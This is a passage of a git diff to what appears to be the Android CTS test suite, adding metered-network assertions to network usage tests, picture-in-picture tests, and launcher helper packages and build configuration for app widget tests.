     private static final NetworkInterfaceToTest[] sNetworkInterfacesToTest =
             new NetworkInterfaceToTest[] {
                     new NetworkInterfaceToTest() {
+                        private boolean metered = false;
+
                         @Override
                         public int getNetworkType() {
                             return ConnectivityManager.TYPE_WIFI;
@@ -83,6 +87,16 @@
                         }
 
                         @Override
+                        public boolean getMetered() {
+                            return metered;
+                        }
+
+                        @Override
+                        public void setMetered(boolean metered) {
+                            this.metered = metered;
+                        }
+
+                        @Override
                         public String getSystemFeature() {
                             return PackageManager.FEATURE_WIFI;
                         }
@@ -93,6 +107,7 @@
                         }
                     },
                     new NetworkInterfaceToTest() {
+                        private boolean metered = false;
                         @Override
                         public int getNetworkType() {
                             return ConnectivityManager.TYPE_MOBILE;
@@ -104,6 +119,15 @@
                         }
 
                         @Override
+                        public boolean getMetered() {
+                            return metered;
+                        }
+
+                        @Override
+                        public void setMetered(boolean metered) {
+                            this.metered = metered;
+                        }
+                        @Override
                         public String getSystemFeature() {
                             return PackageManager.FEATURE_TELEPHONY;
                         }
@@ -241,11 +265,13 @@
         private long mTolerance;
         private URL mUrl;
         public boolean success;
+        public boolean metered;
 
         NetworkCallback(long tolerance, URL url) {
             mTolerance = tolerance;
             mUrl = url;
             success = false;
+            metered = false;
         }
 
         @Override
@@ -255,6 +281,7 @@
                 exerciseRemoteHost(network, mUrl);
                 mEndTime = System.currentTimeMillis() + mTolerance;
                 success = true;
+                metered = mCm.getNetworkInfo(network).isMetered();
                 synchronized(NetworkUsageStatsTest.this) {
                     NetworkUsageStatsTest.this.notify();
                 }
@@ -284,6 +311,7 @@
             }
         }
         if (callback.success) {
+            sNetworkInterfacesToTest[networkTypeIndex].setMetered(callback.metered);
             return true;
         }
 
@@ -324,6 +352,7 @@
             assertTimestamps(bucket);
             assertEquals(bucket.getState(), NetworkStats.Bucket.STATE_ALL);
             assertEquals(bucket.getUid(), NetworkStats.Bucket.UID_ALL);
+            assertEquals(bucket.getMetered(), NetworkStats.Bucket.METERED_ALL);
             setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "deny");
             try {
                 bucket = mNsm.querySummaryForDevice(
@@ -356,6 +385,7 @@
             assertTimestamps(bucket);
             assertEquals(bucket.getState(), NetworkStats.Bucket.STATE_ALL);
             assertEquals(bucket.getUid(), NetworkStats.Bucket.UID_ALL);
+            assertEquals(bucket.getMetered(), NetworkStats.Bucket.METERED_ALL);
             setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "deny");
             try {
                 bucket = mNsm.querySummaryForUser(
@@ -387,9 +417,13 @@
                 long totalRxPackets = 0;
                 long totalTxBytes = 0;
                 long totalRxBytes = 0;
+                boolean hasCorrectMetering = false;
+                int expectedMetering = sNetworkInterfacesToTest[i].getMetered() ?
+                        NetworkStats.Bucket.METERED_YES : NetworkStats.Bucket.METERED_NO;
                 while (result.hasNextBucket()) {
                     assertTrue(result.getNextBucket(bucket));
                     assertTimestamps(bucket);
+                    hasCorrectMetering |= bucket.getMetered() == expectedMetering;
                     if (bucket.getUid() == Process.myUid()) {
                         totalTxPackets += bucket.getTxPackets();
                         totalRxPackets += bucket.getRxPackets();
@@ -398,6 +432,8 @@
                     }
                 }
                 assertFalse(result.getNextBucket(bucket));
+                assertTrue("Incorrect metering for NetworkType: " +
+                        sNetworkInterfacesToTest[i].getNetworkType(), hasCorrectMetering);
                 assertTrue("No Rx bytes usage for uid " + Process.myUid(), totalRxBytes > 0);
                 assertTrue("No Rx packets usage for uid " + Process.myUid(), totalRxPackets > 0);
                 assertTrue("No Tx bytes usage for uid " + Process.myUid(), totalTxBytes > 0);
@@ -445,6 +481,7 @@
                     assertTrue(result.getNextBucket(bucket));
                     assertTimestamps(bucket);
                     assertEquals(bucket.getState(), NetworkStats.Bucket.STATE_ALL);
+                    assertEquals(bucket.getMetered(), NetworkStats.Bucket.METERED_ALL);
                     if (bucket.getUid() == Process.myUid()) {
                         totalTxPackets += bucket.getTxPackets();
                         totalRxPackets += bucket.getRxPackets();
@@ -500,6 +537,7 @@
                     assertTrue(result.getNextBucket(bucket));
                     assertTimestamps(bucket);
                     assertEquals(bucket.getState(), NetworkStats.Bucket.STATE_ALL);
+                    assertEquals(bucket.getMetered(), NetworkStats.Bucket.METERED_ALL);
                     assertEquals(bucket.getUid(), Process.myUid());
                     totalTxPackets += bucket.getTxPackets();
                     totalRxPackets += bucket.getRxPackets();
@@ -554,6 +592,7 @@
                     assertTrue(result.getNextBucket(bucket));
                     assertTimestamps(bucket);
                     assertEquals(bucket.getState(), NetworkStats.Bucket.STATE_ALL);
+                    assertEquals(bucket.getMetered(), NetworkStats.Bucket.METERED_ALL);
                     assertEquals(bucket.getUid(), Process.myUid());
                     if (bucket.getTag() == NETWORK_TAG) {
                         totalTxPackets += bucket.getTxPackets();
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index d3890df..d900292 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -30,6 +30,7 @@
 import android.test.InstrumentationTestCase;
 
 import java.io.FileInputStream;
+import java.io.IOException;
 import java.text.MessageFormat;
 import java.util.ArrayList;
 import java.util.List;
@@ -37,8 +38,6 @@
 
 import android.util.SparseLongArray;
 import junit.framework.AssertionFailedError;
-import libcore.io.IoUtils;
-import libcore.io.Streams;
 import org.junit.Ignore;
 
 /**
@@ -94,7 +93,8 @@
 
     private static void assertLessThanOrEqual(long left, long right) {
         if (left > right) {
-            throw new AssertionFailedError("Expected " + left + " to be less than or equal to " + right);
+            throw new AssertionFailedError("Expected " + left + " to be less than or equal to "
+                    + right);
         }
     }
 
@@ -103,16 +103,23 @@
                 getInstrumentation().getContext().getPackageName(), mode);
         ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
                 .executeShellCommand(command);
-        try {
-            Streams.readFully(new FileInputStream(pfd.getFileDescriptor()));
+        try (FileInputStream fis = new FileInputStream(pfd.getFileDescriptor())){
+            final byte[] buffer = new byte[4096];
+            while (fis.read(buffer) != -1) { }
         } finally {
-            IoUtils.closeQuietly(pfd.getFileDescriptor());
+            try {
+                pfd.close();
+            } catch (IOException e) {
+                // Ignore.
+            }
         }
     }
 
     private void launchSubActivity(Class<? extends Activity> clazz) {
-        final Instrumentation.ActivityResult result = new Instrumentation.ActivityResult(0, new Intent());
-        final Instrumentation.ActivityMonitor monitor = new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+        final Instrumentation.ActivityResult result =
+                new Instrumentation.ActivityResult(0, new Intent());
+        final Instrumentation.ActivityMonitor monitor =
+                new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
         getInstrumentation().addMonitor(monitor);
         launchActivity(mTargetPackage, clazz, null);
         mStartedActivities.add(monitor.waitForActivity());
@@ -198,7 +205,8 @@
 
         long endTime = System.currentTimeMillis();
         long startTime = endTime - MINUTE;
-        Map<String, UsageStats> statsMap = mUsageStatsManager.queryAndAggregateUsageStats(startTime, endTime);
+        Map<String, UsageStats> statsMap = mUsageStatsManager.queryAndAggregateUsageStats(startTime,
+                endTime);
         assertFalse(statsMap.isEmpty());
         assertTrue(statsMap.containsKey(mTargetPackage));
         final UsageStats before = statsMap.get(mTargetPackage);
@@ -284,20 +292,23 @@
             final int intervalType = intervalLengths.keyAt(i);
             final long intervalDuration = intervalLengths.valueAt(i);
             final long startTime = endTime - (2 * intervalDuration);
-            final List<UsageStats> statsList = mUsageStatsManager.queryUsageStats(intervalType, startTime, endTime);
+            final List<UsageStats> statsList = mUsageStatsManager.queryUsageStats(intervalType,
+                    startTime, endTime);
             assertFalse(statsList.isEmpty());
 
             boolean foundPackage = false;
             for (UsageStats stats : statsList) {
                 // Verify that each period is a day long.
-                assertLessThanOrEqual(stats.getLastTimeStamp() - stats.getFirstTimeStamp(), intervalDuration);
+                assertLessThanOrEqual(stats.getLastTimeStamp() - stats.getFirstTimeStamp(),
+                        intervalDuration);
                 if (stats.getPackageName().equals(mTargetPackage) &&
                         stats.getLastTimeUsed() >= beforeTime - TIME_DIFF_THRESHOLD) {
                     foundPackage = true;
                 }
             }
 
-            assertTrue("Did not find package " + mTargetPackage + " in interval " + intervalType, foundPackage);
+            assertTrue("Did not find package " + mTargetPackage + " in interval " + intervalType,
+                    foundPackage);
         }
     }
 
diff --git a/tests/tests/app/Android.mk b/tests/tests/app/Android.mk
index 35d15bd..d710ce8 100644
--- a/tests/tests/app/Android.mk
+++ b/tests/tests/app/Android.mk
@@ -26,7 +26,11 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    android-support-test \
+    junit \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/app/AndroidManifest.xml b/tests/tests/app/AndroidManifest.xml
index be903e3..707b22b 100644
--- a/tests/tests/app/AndroidManifest.xml
+++ b/tests/tests/app/AndroidManifest.xml
@@ -23,6 +23,11 @@
 
         <activity android:name=".ApplyOverrideConfigurationActivity"
                   android:configChanges="orientation|screenSize" />
+
+        <activity android:name=".PictureInPictureActivity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout" />
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/app/AndroidTest.xml b/tests/tests/app/AndroidTest.xml
index 739e0ba..02eb825 100644
--- a/tests/tests/app/AndroidTest.xml
+++ b/tests/tests/app/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Configuration for app Tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="misc" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidAppTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/app/src/android/app/cts/PictureInPictureActionsTest.java b/tests/tests/app/src/android/app/cts/PictureInPictureActionsTest.java
new file mode 100644
index 0000000..da02a81
--- /dev/null
+++ b/tests/tests/app/src/android/app/cts/PictureInPictureActionsTest.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.app.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests the {@link android.app.ActivityManager} method to ensure a fixed number of supported
+ * actions.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PictureInPictureActionsTest {
+
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<PictureInPictureActivity> mActivityRule =
+            new ActivityTestRule<>(PictureInPictureActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    public void testNumPictureInPictureActions() throws Exception {
+        // Currently enforce that there are at least 3 actions
+        assertTrue(mActivity.getMaxNumPictureInPictureActions() >= 3);
+    }
+}
diff --git a/tests/tests/app/src/android/app/cts/PictureInPictureActivity.java b/tests/tests/app/src/android/app/cts/PictureInPictureActivity.java
new file mode 100644
index 0000000..75245b7
--- /dev/null
+++ b/tests/tests/app/src/android/app/cts/PictureInPictureActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.app.cts;
+
+import android.app.Activity;
+
+public class PictureInPictureActivity extends Activity {
+    // Empty
+}
diff --git a/tests/tests/app/src/android/app/cts/PictureInPictureParamsBuilderTest.java b/tests/tests/app/src/android/app/cts/PictureInPictureParamsBuilderTest.java
new file mode 100644
index 0000000..639c4d1
--- /dev/null
+++ b/tests/tests/app/src/android/app/cts/PictureInPictureParamsBuilderTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.app.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.PictureInPictureParams;
+import android.app.PictureInPictureParams.Builder;
+import android.graphics.Rect;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Rational;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+/**
+ * Tests the {@link PictureInPictureParams} builder.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PictureInPictureParamsBuilderTest {
+
+    @Test
+    public void testBuildParams() throws Exception {
+        // Set the params
+        Builder builder = new Builder()
+                .setAspectRatio(new Rational(1, 2))
+                .setActions(new ArrayList<>())
+                .setSourceRectHint(new Rect(0, 0, 100, 100));
+
+        PictureInPictureParams params = builder.build();
+        assertTrue(Float.compare(0.5f, params.getAspectRatio()) == 0);
+        assertTrue(params.getActions().isEmpty());
+        assertEquals(new Rect(0, 0, 100, 100), params.getSourceRectHint());
+
+        // Reset the params
+        builder.setAspectRatio(null)
+                .setActions(null)
+                .setSourceRectHint(null);
+        params = builder.build();
+
+        assertTrue(Float.compare(0f, params.getAspectRatio()) == 0);
+        assertNull(params.getActions());
+        assertNull(params.getSourceRectHint());
+    }
+}
diff --git a/tests/tests/appwidget/Android.mk b/tests/tests/appwidget/Android.mk
index 790a6c5..077461d 100644
--- a/tests/tests/appwidget/Android.mk
+++ b/tests/tests/appwidget/Android.mk
@@ -20,12 +20,13 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+    $(call all-java-files-under, common/src)
 
 LOCAL_PACKAGE_NAME := CtsAppWidgetTestCases
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    mockito-target \
+    mockito-target-minus-junit4 \
     ctstestrunner \
     junit \
     legacy-android-test
@@ -34,3 +35,5 @@
 LOCAL_COMPATIBILITY_SUITE := cts
 
 include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/appwidget/AndroidTest.xml b/tests/tests/appwidget/AndroidTest.xml
index fcee457..f1d2df2 100644
--- a/tests/tests/appwidget/AndroidTest.xml
+++ b/tests/tests/appwidget/AndroidTest.xml
@@ -13,12 +13,16 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS App Widget test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAppWidgetLauncher1.apk" />
+        <option name="test-file-name" value="CtsAppWidgetLauncher2.apk" />
+        <option name="test-file-name" value="CtsAppWidgetLauncher3.apk" />
         <option name="test-file-name" value="CtsAppWidgetTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.appwidget.cts" />
-        <option name="runtime-hint" value="3m30s" />
+        <option name="runtime-hint" value="9m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/appwidget/common/src/android/appwidget/cts/common/Constants.java b/tests/tests/appwidget/common/src/android/appwidget/cts/common/Constants.java
new file mode 100644
index 0000000..954a81b
--- /dev/null
+++ b/tests/tests/appwidget/common/src/android/appwidget/cts/common/Constants.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.appwidget.cts.common;
+
+public class Constants {
+
+    public static final String ACTION_CONFIRM_PIN =
+            "android.appwidget.cts.packages.AppWidgetConfirmPin";
+
+    public static final String ACTION_SETUP_REPLY =
+            "android.appwidget.cts.SETUP_REPLY";
+
+    public static final String EXTRA_SUCCESS = "SUCCESS";
+    public static final String EXTRA_PACKAGE = "PACKAGE_NAME";
+    public static final String EXTRA_REQUEST = "REQUEST";
+
+}
diff --git a/tests/tests/appwidget/packages/Android.mk b/tests/tests/appwidget/packages/Android.mk
new file mode 100644
index 0000000..cddf11e
--- /dev/null
+++ b/tests/tests/appwidget/packages/Android.mk
@@ -0,0 +1,17 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/appwidget/packages/launchermanifest/Android.mk b/tests/tests/appwidget/packages/launchermanifest/Android.mk
new file mode 100644
index 0000000..9746d2b
--- /dev/null
+++ b/tests/tests/appwidget/packages/launchermanifest/Android.mk
@@ -0,0 +1,82 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+#-----------------------------------------------------------
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAppWidgetLauncher1
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
+        $(call all-java-files-under, ../../common/src)
+LOCAL_FULL_LIBS_MANIFEST_FILES := \
+    $(LOCAL_PATH)/AndroidManifest-pinActivity.xml
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher1
+
+include $(BUILD_CTS_PACKAGE)
+
+#-----------------------------------------------------------
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAppWidgetLauncher2
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
+        $(call all-java-files-under, ../../common/src)
+LOCAL_FULL_LIBS_MANIFEST_FILES := \
+    $(LOCAL_PATH)/AndroidManifest-pinActivity.xml
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher2
+
+include $(BUILD_CTS_PACKAGE)
+
+#-----------------------------------------------------------
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAppWidgetLauncher3
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
+        $(call all-java-files-under, ../../common/src)
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher3
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
new file mode 100644
index 0000000..57d6ba8
--- /dev/null
+++ b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <application>
+        <activity android:name="AppWidgetConfirmPin">
+            <intent-filter>
+                <action android:name="android.content.pm.action.CONFIRM_PIN_APPWIDGET" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest.xml b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest.xml
new file mode 100644
index 0000000..db05232
--- /dev/null
+++ b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appwidget.cts.packages">
+
+    <application>
+        <activity android:name="Launcher">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.HOME" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/tests/appwidget/packages/src/android/appwidget/cts/packages/AppWidgetConfirmPin.java b/tests/tests/appwidget/packages/src/android/appwidget/cts/packages/AppWidgetConfirmPin.java
new file mode 100644
index 0000000..4b50c80
--- /dev/null
+++ b/tests/tests/appwidget/packages/src/android/appwidget/cts/packages/AppWidgetConfirmPin.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.appwidget.cts.packages;
+
+import android.app.Activity;
+import android.appwidget.cts.common.Constants;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.LauncherApps;
+import android.content.pm.LauncherApps.PinItemRequest;
+import android.os.Bundle;
+
+public class AppWidgetConfirmPin extends Activity {
+
+    private PinItemRequest mRequest;
+
+    private BroadcastReceiver mReceiver;
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        try {
+            final LauncherApps launcherApps = getSystemService(LauncherApps.class);
+            mRequest = launcherApps.getPinItemRequest(getIntent());
+
+            if (mRequest == null) {
+                throw new IllegalArgumentException("Null request");
+            }
+
+            if (mRequest.getRequestType() != PinItemRequest.REQUEST_TYPE_APPWIDGET ||
+                    mRequest.getAppWidgetProviderInfo(this) == null) {
+                throw new IllegalArgumentException("Wrong request");
+            }
+
+            mReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    onCommandReceive(intent);
+                }
+            };
+            registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_CONFIRM_PIN));
+            sendSetupReply(true);
+        } catch (Exception e) {
+            sendSetupReply(false);
+            finish();
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        if (mReceiver != null) {
+            unregisterReceiver(mReceiver);
+            mReceiver = null;
+        }
+    }
+
+    private void sendSetupReply(boolean success) {
+        sendBroadcast(new Intent(Constants.ACTION_SETUP_REPLY)
+                .putExtra(Constants.EXTRA_SUCCESS, success)
+                .putExtra(Constants.EXTRA_PACKAGE, getPackageName())
+                .putExtra(Constants.EXTRA_REQUEST, mRequest));
+    }
+
+    private void onCommandReceive(Intent intent) {
+        mRequest.accept(intent.getExtras());
+        finish();
+    }
+}
diff --git a/tests/tests/appwidget/packages/src/android/appwidget/cts/packages/Launcher.java b/tests/tests/appwidget/packages/src/android/appwidget/cts/packages/Launcher.java
new file mode 100644
index 0000000..661bd55
--- /dev/null
+++ b/tests/tests/appwidget/packages/src/android/appwidget/cts/packages/Launcher.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.appwidget.cts.packages;
+
+import android.app.Activity;
+
+public class Launcher extends Activity {
+}
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index c133915..747a8bd 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -40,45 +40,33 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
-import android.appwidget.cts.R;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
 import android.os.Bundle;
-import android.os.ParcelFileDescriptor;
 import android.os.Process;
 import android.os.SystemClock;
 import android.os.UserHandle;
 import android.os.UserManager;
-import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 import android.util.DisplayMetrics;
 import android.widget.RemoteViews;
 import android.widget.RemoteViewsService.RemoteViewsFactory;
-import libcore.io.IoUtils;
-import libcore.io.Streams;
+
 import org.hamcrest.BaseMatcher;
 import org.hamcrest.Description;
 import org.mockito.InOrder;
 import org.mockito.invocation.InvocationOnMock;
 import org.mockito.stubbing.Answer;
 
-import java.io.FileInputStream;
-import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.atomic.AtomicInteger;
 
-public class AppWidgetTest extends InstrumentationTestCase {
+public class AppWidgetTest extends AppWidgetTestCase {
 
     private static final long OPERATION_TIMEOUT = 20 * 1000; // 20 sec
 
-    private static final String FIRST_APP_WIDGET_CONFIGURE_ACTIVITY =
-            "android.appwidget.cts.provider.FirstAppWidgetConfigureActivity";
-
-    private static final String SECOND_APP_WIDGET_CONFIGURE_ACTIVITY =
-            "android.appwidget.cts.provider.SecondAppWidgetConfigureActivity";
-
     private final Object mLock = new Object();
 
     @Override
@@ -90,17 +78,12 @@
     }
 
